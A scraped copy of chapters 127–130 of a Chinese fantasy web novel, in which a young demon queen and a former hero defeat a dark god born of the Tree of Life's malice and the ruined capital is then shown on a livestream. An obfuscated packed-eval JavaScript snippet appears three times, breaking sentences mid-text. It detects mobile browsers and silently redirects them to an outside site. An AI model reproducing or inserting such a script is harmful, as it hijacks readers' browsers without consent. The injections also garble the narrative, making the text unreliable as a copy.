“我想还给她的。但是在她破壳的时候，至高魔力已经超过了她的身体能够承载的界限，所以我打算等她长大之后再还给她。” “然后呢？” “然后我的意图被我的同伴们发现了，于是他们将我们分开，并且用大法阵囚禁了我。” “为什么，他们没有囚禁小陛下，却囚禁了你？” “他们的力量只能够维持一个大法阵的运行。如果他们选择封印妮娜，我总有办法把她救出来。” “哼，说的好听。”罗德里斯发出了不屑的声音，“那现在呢？你已经离开了大法阵，小陛下也已经长大了，为什么至高魔力还在你身上？” “她……拒绝了。” “什——” “小心！” 一团黑色的有机物从天而降，竟然将笼罩在公寓外部的魔法打穿了一个洞，像陨石穿透大气层一样，直直往罗德里斯身上扑去。 不巧的是魔龙先生正在愣神。 公寓的屋檐上突然长出一条触手，一把抓住那团黑色的物体，将它向远处用力抛了出去。 “没事吧？是魔力消耗太严重了吗？”妮娜不知什么时候站到了两人中间。 “别小看我。”罗德里斯心虚地仰着脑袋，不敢去看身边的小魔王。 “没事，这点程度还不算什么。”阿加雷斯说。 罗德里斯真想把这个男人痛揍一顿。 就在这时，头顶上方传来噼里啪啦的声音，仿佛冰雹砸在雨棚上一样。不过落下的不是冰雹，被砸的也不是雨棚。 无数黑色组织块如雨点般从天而降，劈头盖脸地掉在防御魔法阵上，刚才恶魔城的防卫性举措竟让邪神注意到了这里。 随着那些黑色肉块落下的，还有铺天盖地的恶臭。 后方传来不妙的声音。 波诺扶着贝尔霍特的肩干呕起来，后者也用同样的礼仪还击，以嗅觉见长的乌鸦差点晕过去，乌瑟及时地捂住了她的鼻子。 “那东西发现祂的敌人在哪里了。我们该怎么办？”布劳斯站了起来，作出战斗准备的态势，贝尔霍特扯着他往后拉了几下。 “你就别操心了，最厉害的人还在前面顶着，暂时轮不到你。” 布劳斯不领情地甩了甩手，但是没能把拖后腿的人甩开，“如果在这种时候只能干瞪眼的话，我又有什么必要——” 贝尔霍特抬头：“有必要什么？” “没什么。”布劳斯终于甩开了他的手，走上前去。 一片阴影从公寓上方掠过，在门口投下乌云般的阴影。 一颗惨白的，布满血丝的，巨大的眼睛正透过浅蓝色的魔法回路，狰狞的注视着下方的众人。 127. 因祸得福 * 现在是正午时分，阳光能够刚好地通过破碎了的屋顶洒落在地上，为这个暗沉的空间提供良好的光照。 “你觉得生命之树具备意志吗？”达尔·达曼突然问道。 骷髅换了一个姿势，她用干枯的手臂抱住膝盖，团坐在角落里。如果做这个姿势的是一名少女，或许会给人可爱而忧郁的感觉，但当事人是一具骷髅，那就另当别论了。 “当然。”她用理所应当的口吻答道。 “为什么这么说，你有什么证据吗？”达尔·达曼追问道，“你不觉得，在如今的社会环境之下，祂仍在源源不绝地诞下新生的魔族，实际上是一种残酷而不负责任的行为吗——如果说祂真的具备意志。” “你是想说如果生产是一种无意识行为，才能解释生命之树为何要祂的孩子来世上受苦？”骷髅大概“笑”了一下，“这或许就是祂意志的体现，祂不希望这个族群灭亡，哪怕祂已经再也无法孕育魔王。” “那么你觉得，祂会有恶的意志吗？” “我不知道。” “你不是祂的孩子吗？” “难道你就了解自己母亲的一切？” “……不。” 达尔·达曼不由自主地开始回忆关于母亲的一切。毫无疑问，那是一个坚强的女人，能够在经历那样的无妄之灾后，当机立断带着自己的独生子离开生活多年的城市，去一个举目无亲的地方漂泊。 但除了这一点，他似乎很难再更加细致地描绘母亲的形象。那位勤劳的女性忙于打工挣钱，母子俩有时一整天也见不上一面，而且在上初中之后，他就开始住校，两人之间的交流也就更少了。 在青春期的时候，他完全没有体恤母亲的辛苦，还把自己在学校遭受的不公平待遇归咎到她身上。 对于他的责怪，母亲总是皱着眉不说话，偶尔则会骂他是个没良心的东西。 他则凶巴巴地说孩子的良心都是给那些温柔体贴的母亲的。 母亲并没有表现出受伤的样子，所以他当时也就没觉得那些话有多伤人，直到他长大成人，离开母亲，一个人在王都奋斗，学习、工作、评选、晋升，直到他第一次用自己的薪水一个人在高档饭店用餐，用柔软芬芳的餐巾擦拭嘴唇的时候—— 他才突然意识到，自己对母亲的积怨有多荒唐。 在回想起那顿孤独的晚餐时，前所未有的愧疚感突然充斥了他的内心，然而母亲都已经过世好几年了，这些心情他又能向谁去诉说？ 不知怎么的，他把这些事情都告诉了身边的骷髅。 而骷髅像是要报复他似的，坏心眼地说道：“如果没有你的话，你母亲的生活一定会轻松很多。” 达尔·达曼没有生气，因为他觉得骷髅说的是事实。 “你觉得你的母亲对这个世界怀有恶念吗？” “我……我不敢说自己了解她，但她在我心里一直是位善良的女性。即使她曾经憎恶过这个世界，她也从没有做过伤害他人、伤害世界的事情。” 骷髅将放在手背上的脑袋扬了起来，脊椎骨附近传来咔嗒一声：“我对我的母亲也是同样的感觉。” 达尔·达曼一愣，随后才反应过来她口中的母亲就是生命之树。 “如果祂有恶念的话，会是什么样的呢？又会是因为什么而产生的呢？” 达尔·达曼想起了在离开王都之前看到的东西。 * 龟缩在防御阵之下的所有人都看到了那颗可怕的眼球。 刚刚吐过一次的波诺又吐了起来，这时候他胃里已经空空如也，呕点胃酸出来都显得勉强。 蒙多进行了勇敢的尝试，他试图用自己的火蛇前去攻击那颗眼球，但火焰刚一离开公寓的范围，就变成一股烟，熄灭了。 “这是怎么回事！” 罗德里斯转过头来，看了他一眼：“现在你知道要在这家伙的眼皮底下维持这个魔法有多不容易了吧？” “你是说那东西能吸收魔法？”阿斯代伦放下了搁在左腿上的右腿，“或者说，吞噬魔法？” “低级的魔法会直接在祂面前湮灭。”阿加雷斯解释道。他的声音流露出一丝疲惫。 阿斯代伦觉察到目前的任务对兄长来说有些勉强，但是他没有立场让他放弃。防御阵消失的话，简直不知道会发生什么。 他不快地盯着女大学生的背影：“魔王陛下，你应该尽快做些什么。” 妮娜思索了片刻，对罗德里斯说道：“你一个人可以支撑这个魔法阵多久？” 罗德里斯没有询问原因，认真地估算了一下，答：“五分钟应该就是极限了。” 必须承认，目前维持防御魔法的大多数力量来自阿加雷斯。但他并不会对这个男人表现出多少感激的意思，因为那力量原本就不属于他。 “五分钟，应该够了吧。”妮娜说。 “够什么？”罗德里斯问。 “坚持住。”妮娜说。用的是一种并不那么明显的命令的语气。 罗德里斯还来不及思考，便感到身上的压力陡然变沉，头顶上方的魔法阵差点出现漏洞，他不得不立刻打起精神，专注于应付眼前的任务。 几秒钟之前还和他并肩站立的那个男人已经不在他身边了。他突然明白了小魔王的打算。 对于一个魔王来说，二十二岁仍是一个过于稚嫩的年纪，她本应该从老魔王那里学习如何锻炼魔力，如何磨练意志，如何锤炼品格。 她按理还没有办法在危及整个世界的邪祟面前独当一面。 但是她很幸运，又或者说这个世界很幸运。 ——在危机降临的时候，她的力量已经在另一个人身上沉淀了三百年的时光，正当巅峰之时。 这算是因果循环，还是因祸得福呢。 邪神也许发现了什么，开始集中力量对这个地方发起进攻，黑色的团块不停撞击着透明的魔法护罩，那层淡蓝色的蛋壳形状的防御屏障不停破损，必须及时用魔力进行修补。 罗德里斯尴尬地补充了一句：“我可能撑不了那么久，你们最好快点。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733205|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话音刚落，他便觉得身上的负担似乎轻了一点。 一层泛着红色光晕的魔法能量在屏障下方张开，为屏障修补提供了喘息的时间。接着又有一层紫色的光晕覆了上来。 在各种色光的叠加下，最初偏向蓝色的屏障开始变成白色。 罗德里斯感觉到了老朋友的气息，但是站到他身边的却是贵族院那几个讨厌的人类。 “等收拾完这家伙，我非要叫你们把那些核心吐出来不可。” “我本来就没想要过，是某人非要塞给我的。” “愿意奉还。但是‘吐’未免有失风度。” “哼，我不会容许魔族凌驾于人类之上。” “依靠从魔族偷走的东西奴役魔族，人类的厚颜无耻真是让我大开眼界。” “布劳斯，都到这种时候了，你还在说什么啊！现在不是起内讧的场合吧！！！”因为失去了核心而无法在正面战场发挥作用的贝尔霍特忍不住冲着过去的同僚嚷嚷起来。 * “我现在已经做好准备，也做好觉悟了。把属于我的力量还给我。”妮娜用强硬到几乎有些生硬的口吻说道。 她是现在的魔王，她的面前是过去的勇者。 在故事中，他们总会被刻画成势不两立的存在。 阿加雷斯有两次归还力量的尝试，但是都被她拒绝了，不过她始终相信，只要她开口，无论如何，他都会照做的。 因此，他的回答实在让人出乎意料。 “不。” “你说什么？”魔王皱起了眉。 勇者做了一个深呼吸：“当初是你强塞给我的，现在又要强行夺走吗？你把我经历的三百年当成了什么？” 妮娜上前一步，用双手抓住他的手腕：“要清算的话，还是等一切结束以后吧。我们时间不多，快把魔力还给我。” 像是要印证她的话一样，在她说完最后一个字的时候，太阳像是熄灭了一样，周围突然暗了下来。 黑色的神祇将这栋可怜的公寓完全笼罩了起来，像是八爪鱼进食一样，要将它整个儿吞进肚子里。 罗德里斯等人还在负隅顽抗，但防线已经到了崩溃的边缘。 “看来祂想让我们从这个世界上彻底消失。” “见鬼！” “就要撑不住了，妮娜·斯特尔，你磨蹭够了没有？！” “快点！”妮娜催促起来。 阿加雷斯摇了摇头：“我拥有这股力量已经三百年了，我比你更熟悉它。”他用力甩开魔王的手，停顿了大约一秒钟的时间，然后向着漆黑一片的正门走去，就像走进一个无穷无尽的黑洞。 黑色邪神的动作忽地停止了，就像被施展了定身咒一样，连祂周围的黑色雾气也停滞在半空中，不再因为空气的流动而发生运动。 罗德里斯觉得有什么东西从自己的侧身擦过。他下意识地想要去抓，但是没有抓到。 适应了黑暗的眼睛终于看清了前方的景象。 小魔王的背影义无反顾地没入了那片虚无。 128. 不可向前 * 在一脚踏空的瞬间，妮娜以为自己掉进了一个无底的深渊。 她在失重的情况下向下坠了数十米，接着就像被蹦极时背上的吊绳牵引住一样，骤然停止了坠落。 她没有着落地悬在半空，眼前并非一片黑暗，而是一个宛如肥皂泡般的空间。 通透，脆弱，七彩的颜色仿佛无数交缠在一起的蟒蛇，在空间的界限上缓慢游走，同时不断交织。 她扭了一下肩膀，发现身体可以自由行动，于是试着向前伸出一条腿，让脚尖向下，慢慢倾斜身体，完成了一小步的跨越。然后是又一个小步…… 起初有点像在水中漫游，后来才变得像在陆地上行走。不知道走了多久，她逐渐习惯了这个空间中的运动方式，并不停向前走。 在空间的中心生长着一棵大树，它有着繁茂到几乎要填充整个世界的枝叶，也有着繁复到几乎能填满另外那个半球的根系。 就像是一颗大脑。就像是世界这个巨大躯壳的大脑。 她向大树走去。 这棵树和赫尔马岱的生命之树长得很像，但两者又有截然不同的地方。眼前这棵树有着生机勃勃的，黄金般耀眼灿烂的叶子。 这个空间里没有风，所以所有的枝叶都静止着，像是一尊雕塑。 她向大树走去。 有什么东西如气泡一般从地下冒了出来，一眨眼的功夫就变成了一个庞然大物，但是轻飘飘的，看上去没有重量，让人联想到十几年前商场揽客时会在门口摆放的充气大人偶。 “不可向前。”巨大的气球人俯视着年轻的魔王。 魔王抬头看向它的眼睛：“为什么？” 气球人重复了一遍：“不可向前。” 妮娜的视线穿过气球人的身体，那棵金灿灿的大树明明就在召唤她，让她不能不向前走。 她没有理会气球人的告诫，继续朝着大树前进。 就在她迈出右腿的时候，手腕突然被人抓住了。 “不要靠近那棵树！” “为什么？”她没有回头，但从手腕传来的感触，还有回荡在耳边的声音，都明确地告知她身后那个人的身份。 阿加雷斯加重了手上的力气，将妮娜往后扯了一步，又像是怕她溜走一样，立刻将两只手放在她的肩膀上，让她面对着自己。 “那不是生命之树，那是一个陷阱。” 妮娜看看眼前的男人，又扭过头去看看身后那棵大树，有些不快地说道：“你是一个人类，而我是一个魔王，你要如何证明自己比我正确？” “我——”阿加雷斯的神情看起来有一点焦急，但是他的视线突然被妮娜身后的某样东西给吸引了，因而也就顾不上解释，直接呆在了原地。 妮娜想要转头确认他所看到的景象，但在目光抵达目的地之前，一个既陌生又熟悉的声音轻轻降临在她耳畔。 “妮娜。” 而她脱口而出：“格兰德！” 当她好不容易在阿加雷斯的“魔爪”之下转动了一下身体，映入眼帘的是围绕着大树的主干“长”出来的一圈气球人。 那些气球人大多面目模糊，但也有稍微清晰一点的，所有人环聚在一起，如同从另一个维度俯瞰下界的神灵。 其中有一个留着过肩的卷发，将额前的头发全部梳到后面去，在下巴上留了一撮胡子的男性，他是所有气球人中五官最清晰的一个，脸上有种上了年纪的人才会有的温柔。 妮娜与他素未谋面，却瞬间认出了他，“格兰德！” 阿加雷斯似乎因为那位老魔王的出现受到冲击，松开了手上的力量，被他困住的小魔王没有错过这个机会，拔腿向大树的方向跑去。 她并不能很好地区分这到底是她的主观意志，还是受到了某种蛊惑，她无法控制自己不往那里奔跑。 等阿加雷斯反应过来，想要阻止她的时候，她已经跑出很远了。 “格兰德，你就是格兰德！我记得你的声音！” 她不像是一个马上就要大学毕业的成年人，反而像是一个留守故乡好不容易才能和父母见一次面的小孩——考虑到她的种族，她现在确实还只能算一个小孩。 如果不是气球人的体型过于巨大，她搞不好甚至会兴高采烈地扑到他身上。 “很抱歉，没能陪着你长大，关于如何当一个魔王，你一定有很多困惑吧？”气球人格兰德用慈爱而愧疚的语气说道，“是不是遇上什么麻烦了？” 小魔王想起了来到这里之前发生的事，用力点了点头：“出现了一个……可怕的怪物。” 格兰德伸出一只手，小心翼翼地在她的头顶摸了摸：“那是生命之树的恶念。” 小魔王猛地抬起头来，顶撞着脑袋上的那只没有重量的手：“怎么可能？！” “失去树冠的大树再也无法孕育新的魔王，为此而储存的能量无法得到释放，积攒起来，慢慢变成了‘恶’，慢慢倒流回树根，就像子宫的蓄脓一样。” “我该怎么做呢？怎样才能帮助生命之树释放那些能量？” “让树冠重新长出来，让祂孕育一位新的魔王。” “怎样才能让树冠再生？” “献祭。” 这个回答不是格兰德独自给出的，而是聚集在大树周边的一大群气球人的异口同声。 它们用低沉的声音念诵着这个单一的词汇，仿佛有重量一般的声音在这个封闭的空间中回荡起来。 “献祭？”小魔王不解地看向面前的气球人。 气球人微微地动了动嘴角，但看起来不是在笑，而是露出了一个悲悯的表情：“绝对王权，或是至高魔力，你必须选一样献祭给祂。这样，祂的树冠就会重新生长。” “……选王权……”一部分气球人齐声说道。 “……选魔力……”另一部分气球人齐声说道。 “王权是控制族人的工具，只要还拥有力量，谁不会向魔王俯首称臣？”一个选择献祭王权的气球人说。 “是啊……是啊……” “王权才是魔王之所以为魔王的关键，要维持魔界的秩序与和谐，王权绝对不可丢失。”一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737632|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个选择献祭魔力的气球人说。 “是啊……是啊……” 小魔王望着那些如同林立的巨大蘑菇般的灵魂，大脑感到一阵眩晕。 “格兰德，你希望我献祭什么？”她问。 气球人格兰德表情慈祥，伸手指了指小魔王的身后。 小魔王回过头，对上勇者错愕的视线。 “只要把他献祭给生命之树，一切就会变回原来的样子。”格兰德的声音从后面传来。 “献祭魔力……献祭魔力……”支持献祭魔力的气球人们提高了声音，齐声念诵。 勇者眼中的震惊逐渐转变为恐惧，但又慢慢变成了无奈，最后好像释然了一样，他低下头，看着脚下密密麻麻的树根，不知道在想什么。 从树根处冒出来的气球人将他包围了起来，他如认命一般全无反抗。 一双脚用力地踩在那些冒着气泡的树根上，那些尚未成型的气球人顿时烟消云散。 勇者抬起头，看到挡在身前的背影。 “你在做什么，妮娜？”格兰德温柔地问道。 勇者不知道小魔王脸上现在是一副怎样的表情，只听她的声音从前面传来：“幸好至高魔力不在我身上。” “是啊，这样你就不必牺牲自己了。”格兰德说。 “——不然我一定会听你的话，毫不犹豫地把魔力献祭出去的，格兰德！” 气球人温和的表情出现了破绽：“孩子，你这是什么意思？” “阿加雷斯，大法阵！” 在听到这个声音的瞬间，勇者像是被命令控制了一般，不由自主地在这个空间中展开了一个巨大的蓝色魔法阵。 “你要干什么，妮娜？” 魔王从口袋里摸出了一支细长的笔，打开笔帽，在身前的魔法阵的圆环中飞快地写下了什么。 魔法阵像一个齿轮似的不疾不徐地转动着，刚好和她书写的速度合拍。当绕圆环而作的语汇首位相接，大法阵爆发出刺眼的光芒。 “你的用心太明显了！”魔王大声说道。只不过她这话并不是对格兰德说的，而是对不远处的那棵大树，“绝对王权，至高魔力，只要失去其中任何一样，你就能够轻而易举地打败我！” 大树在没有风的情况下剧烈颤抖起来，宛如一个在戏剧终局被揭穿诡计的反派角色。 大法阵飞到大树的上方，像一张被撒入海中的渔网，迟缓却坚决地将大树捕获入怀，随着法阵的下落，大树的上上下下都被缠上了一圈难以辨认的字符。 祂挣扎、晃动、暴跳如雷，有好几次只差一点点就能将法阵撕开一个口子。 围绕祂生长的气球人此时开始反过来帮忙压制祂。 它们的形象在这个过程中一点点地清晰起来，其中既有男性，也有女性，有着千差万别的容貌，穿着风格不一的服装，有些看起来像是远古时代的装扮。 他们有的表情严肃，有的面带微笑，但都以一种守望的姿态，静默地看着不远处的魔王。 格兰德也在其中。他的脸上浮现着欣慰的笑容。 129. 缺乏勇气 * [你具备足够多的美德，只是少了一点勇气。] [我不认为自己是一个品德高尚的人，不过我胆子确实很小。] [这样的我，却成了那个所谓的勇者。] [世界上恐怕没有更加讽刺的事情了。] [更何况，曾经有人说过，如果一个人缺乏勇气，那他所具备的其他一切美德都将失去意义。] * 阿加雷斯恢复意识的时候，觉得头顶上是非常明亮的阳光，将他的眼睑照得暖洋洋的。即使闭着眼睛，也知道天已经亮了。 他做了一番关于睁开眼睛的心理准备，思考要如何度过这新的一天。他突然发现自己弄不清楚如今到底是什么时代。 这种感觉，就好像他明明已经拥有了三百年的记忆，一觉醒来却发现自己仍睡在旧帝国皇宫的那张床上，想到即将到来的旅途，尚未发生的战争，和漫长的痛苦，他就不愿起来。 又好像回到了生命中最虚无的那段时间，所有人都在向前看、向前走，新的建筑开始林立，新的城市一座座建成，只有他还沉湎于愧疚之中，被困在屠杀的梦靥中，做着那个自己化身恶龙，抢占别人家园的噩梦。 又好像是四处流浪的七年时光，因为直到那个时候，他才能重新正视日复一日升起落下的太阳，以及和太阳交替照耀大地的月亮。 惟独不会是最后那十四年。因为那段时间，他一直被关在暗无天日的地下，过着只能在梦里见到太阳的日子。 他最终还是决定睁开眼睛。 目之所及，是一片浅金，就像步入了深秋的森林，清爽的日光穿过稀疏的枝叶落下来，细听之下，还能听见风与叶摩挲时发出的声响。 十数米开外的地方，魔王背对着他站立。她仰着头，黑色的头发垂在肩上，T恤和中裤，一身休闲装扮，看起来完全是一个还不够成熟的大学生的样子。 在她的面前，是幽灵一般半透明的高大存在，和总是呈现出蓝灰色调的幽灵不同，那个存在看起来金光闪闪，却又不让人感到刺眼。 那就是格兰德，他曾经无比亲近且仰慕的那位老魔王。 年轻的魔王正在与他交谈，两人相谈甚欢，但阿加雷斯一点也听不到他们谈话的内容。 这时候，格兰德将一只手放到小魔王的肩膀上，另一只手冲着阿加雷斯所在的方向轻轻一指。两个人的视线就这么对上了。 他看到格兰德微微一笑，一场暌违三百年的问候。 接着，小魔王也转过头，有些惊讶地看着他。 格兰德拍了拍她的肩膀，像在催促什么，而她扭头看向格兰德，点了点头，然后向他走了过来。 “你醒了。” 阿加雷斯觉得身体依然十分沉重，但还是试图从地上坐起来，小魔王蹲了下来，扶住他的背部，他突然意识到有什么东西发生了变化。他们两人之间原本存在的那种平衡消失了。 至高魔力回到了它原本的主人那里。那个在三百年前不由分加诸于他的枷锁，不知何时竟消失不见了。 那棵如同大脑一般盘踞在这个空间里的大树，不知何时也消失不见了。 他有些混沌地问道：“都结束了吗？” 小魔王伸出一只手：“都结束了，因为要等你醒来，所以格兰德特意留下来陪我聊了一会儿天。” 阿加雷斯看看远处那个多少缺了点真实感的男性，他就像一尊雕像似的站在那儿，守望着这一切，却并不想插足这一切的样子，“你们都说了些什么？” “格兰德说，你是一个具备了各种美好品质的人类，惟独缺少了一点勇气。”小魔王在他面前晃动了一下手掌，似乎在催促着什么。 阿加雷斯踌躇了一会儿，将自己的右手伸了出来，和面前那只手握在一起。 小魔王站起了身，并且只是稍稍用了一点力，就把他也从地上拉了起来。可以确定，她再也不是过去那个残缺不全的魔王了。 “他还说，很高兴在这里看到你，这证明比起三百年前，你至少变得勇敢了。” 阿加雷斯跌跌撞撞地站起来，他再次看向格兰德，但是那里已经什么都没有了。 “我们该回去了。”小魔王拽着他的手说。 * 布莱克正在矿区的办公室里制定各种计划，其中既包括工人们的工作计划，也包括不同年龄段受众的学习计划。 雷诺阿上任之后，承担了一部分教育培训计划的设计，但总体来说，工作依然繁忙。 就在他筛选不同时间段有空闲的工人名单时，一楼传来的巨响让他吓了一跳。 他立刻丢下笔，飞快向楼下跑去。当他抵达声音的源头时，那里已经聚集了很多人，包括他的顶头上司维克多，以及正在教室上课的一些学生。 众人的脸上都或多或少带着一些惊慌失措。 一条巨蚺般的东西从楼梯下面的传送阵钻了出来，招摇过市地向大门游走。这东西长得吓人，好像没有止境，而且浑身漆黑，半虚半实，其间还夹杂着紫色或者蓝色又或者红白相间的生物组织。 它显然对破坏他人财物毫无抗拒和羞愧，横冲直撞，在地板和墙壁上留下肮脏的痕迹，它似乎具有十足的重量，因为它经过的地面发生了轻微的凹陷。 “好难闻！” “臭死了，这到底是什么东西？！” 伴随着黑色躯体移动的，还有不断在空气中飘散开来的古怪味道。那像是一吨死鱼堆在一起后并在炎热而潮湿的天气中暴露所产生的气味。 奇怪的是，这栋由恶魔城构筑起来的建筑没有对这家伙的自由来去表现出抗拒，它不仅善解人意地替这东西敞开大门，还默默地修缮了那些遭到破坏的家具。 “维克多先生！”布莱克看到上司穿过靠门的一扇墙壁走了出去，于是也跑下楼梯，跑到一楼的某间教室，从临街的窗户翻到外面，追随着幽灵，或者说这条可怕巨蚺的脚步一路飞奔。 一辆黑色轿车驶到他身边，车窗被摇下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741395|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，亚历山大从里面探出头来：“高宁先生，我载你一程。” 布莱克上了车。轿车跟随着黑色大蛇的运动轨迹在公路上飞驰起来。在这个过程中，又有很多“黑蛇”从其他方向出现，并朝着同一个目的地运动。 “这到底是什么东西？”亚历山大问。 布莱克灵机一动：“我不知道，但它们好像是通过魔法阵过来的。” 最终，车停在了一个未曾预料的地方。生命之树的面前。 黑色的可怕家伙在大树面前放慢了速度，小心翼翼地靠近，然后一头扎进靠近树根的土壤。 随着汇入土壤的黑色物质越来越多，生命之树的状态肉眼可见地得到了改善。 “维克多先生，这到底是怎么回事？”布莱克踉踉跄跄地跑到先到一步的幽灵身旁。 维克多默默地摇头，凝神望着大树的顶端，那明明就不存在实体的眼眶看上去有一些湿润。 “喂……不是吧……”亚历山大顺着他的视线，看到了正在发生变化的树冠。 新的枝叶从被砍削掉的主干顶端长了出来。 * “呕——” 这已经不知道是波诺第几次干呕了，他的胃里实在没有任何东西能用来撑场面。 “谁来行行好，把我打晕吧。我真的受不了这个味道了。”他痛苦的嚎叫着。 布劳斯走到他身后，正要一个手刀劈下去，却被阿斯代伦的血鞭给拦住了。 “你来动手的话，会把他直接打死的。” 布劳斯哼了一声，将位置让了出来。贝尔霍特一步向前，用手刀在波诺后颈处一砍。 橙色头发的少年嗷地摔在地上，继而失去了意识。 “总算能安静点了。可是这些东西到底打算怎样？” 没有计时工具，没人知道自从魔王和勇者进入邪神体内的黑洞后过了多久，大约有两个钟头，或者再久一点。 自那之后，邪神周围的时空就像停滞了一样，那庞大的、遮天蔽日的身躯就那么一动不动地悬在公寓上方，让人甚至无法判断太阳的位置。 然而就在大概十分钟前，邪神的黑色身体开始自我分解，像半凝的血块一样掉在公寓门口，掉在公寓屋顶，不断发出啪嗒啪嗒的声音。 建筑物被“融化”后变成的黑色物质向那些血块涌去，很快两者就合为一体，变成大蛇的形状，蛮不讲理地向公寓冲来。 罗德里斯正要进行防御，却被恶魔城变出的手臂一把抓住，那条手臂将他按在墙上，让他无法动弹，只能眼睁睁地看着那条庞然大物从狭窄的门框涌入，肆无忌惮地穿越玄关，然后攀上墙壁上的魔法阵。 他有理由相信事情已经解决了，只是对自己几乎没能参与感到深切痛憾。他可是魔王最得力的部下，只是那位魔王不是妮娜·斯特尔。 他从101室的房门走到街上，看到黑色的邪神只剩下一个象征着虚无的黑洞。他就站在那里，静静地等候着，恭迎着那位小陛下的回归。 130. 所向无前 …… [继承魔龙血脉者，谨以此身献与吾王。过去的，现在的，未来的。千难万险，虽死不悔。] [继承魔龙精神者，誓以此志效忠吾王。过去的，现在的，未来的。不改忠贞，矢志不渝。] …… 对于接受魔龙核心那一日所发生的一切，罗德里斯至今历历在目。 那时候他才刚刚成年不久，意气风发到让同族的前辈们总忍不住想将他痛揍一顿的地步，但也只能想想而已，即使是那些年长他很多的龙，也总要忌惮他几分。 龙族在魔族之中是除了魔王之外，毫无争议的最强大的种族，而罗德里斯则是这一强大种族之中的佼佼者，就这一点来说，他有足够骄傲自满的资本，可以在同族面前横行放肆，但他不该连魔王都不放在眼中。 在见到格兰德之前，罗德里斯以为自己是世界上最强大的存在，无需向任何人卑躬屈膝，尤其是当他听说如今的魔王已经进入力量的衰退期，他便更觉得自己无人能敌。 但是在见到格兰德之后，他瞬间就被折服了。他不知道那是出于真心，还是出于本能，他没有感到抗拒，也无法抗拒，就像一滴水汇入海洋。这种前后一百八十度的转变让他的族人们当做玩笑说了很久，但他也不介意。 获得继承魔龙核心的资格，就是格兰德对他最大的认可，只要能够确信这一点，他就可以所向无前。 格兰德从宫殿门口的长阶顶端缓缓走下，接见静候于下的臣民。 就像秋风拂过丰收的原野，麦穗恭敬地低着头，一切自然而然。 就像现在。 当魔王从那个深不见底的黑洞中迈步走出的时候，罗德里斯恍惚间又回到了数百年前，他在恶魔城的长阶下受爵的场景。 “陛下。”他微微低下头，依然没有为这究竟是真心还是本能的问题感到困扰。 绝对王权与至高魔力的结合，这毫无疑问是他发誓要效忠的对象。 他桀骜不羁，但诚实守信，对于发过的誓言，绝对没有背叛的道理。 年轻的魔王轻轻点了点头，认可了他的忠诚。 阳光从她的头顶倾泻下来，照耀着这片空空荡荡的大地。 * 【公告：王都的危机已经解除，但基础设施及公共设施损坏程度及其严重，通信网络短期内无法修复，轨道交通依旧无法使用，可以通过传送阵出入王都，但若非必要，请原地休整。请帮助身边有通讯需要但缺少条件的市民，请善待身边的魔族。】 [真的假的，有没有回王都的吱一声，现在到底是什么情况？] [主播能给外面一个镜头吗？想看看到底怎么样了。] [怎么这么快就解决了，我还不想回去上班啊！] 一直显示黑色背景的直播间突然出现了画面。 “老板说可以给大家看看王都现在的样子，希望大家能有一个心理准备。” [好奇！！] [一片废墟吗？] [也就是说暂时还不用上班？] “我要开窗了——” 画面的亮度骤然变高，盯着直播间的人们不约而同觉得一阵晃眼，而后，毫无真实感的城市景观出现在他们眼前，但是那副景象绝对不是他们记忆中的神圣峡谷。 那就像是一个真正的字面意义上的峡谷，未经开发，未被人类染指，看不到人类活动的痕迹，更看不到现代科技的痕迹，但又不是想象中那种山水相间的原始的自然环境。 一片荒乱的、寸草不生的土地。 原本热闹到几乎没有空白处的直播间画面诡异地安静了两秒，接着，新一波弹幕如潮水一般涌了上来。 [等等，不是在跟我开玩笑吧，这是什么游戏的场景展示吗？废土天灾那种背景的……] [我那么大一座城呢？怎么没了？主播不是在耍我们？] [好了，我们已经做好心理准备了，主播可以让我们看看神圣峡谷真正的现状了。] [笑死，还有人想自欺欺人。] [不是，我不信，你跟我说这是王都？我家呢？我房贷是不是不用还了？] [不用还了，没看见银行都没了吗。] [这下还有人想回王都的吗？反正什么都没有了，我索性留在现在呆的地方算了，帮农民种种地过日子也挺好的。] [什么都没有才有机会啊，搞土木建筑的人现在要笑死了吧？] [是真的什么都没有了吗？图书馆那些藏书，还有博物馆那些藏品，全都没了？那可是文明遗产，就这么没了？想想就觉得心痛，怎么还有人幸灾乐祸的？] 镜头慢慢变换角度，以全景视角向观众们展示了神圣峡谷的现状，仅有寥寥几栋建筑得以幸免，大多数时候人们只能看到无聊的地面，以及一半在镜头外的远山。 “王都现在就是字面意义上的什么都没有了，传送阵基本上还是能用的，但是出口可能已经不在原来的位置上了，食物和水源也难以得到保证，所以说还是建议大家不要立刻回来。” [主播你们那里没事吗？] 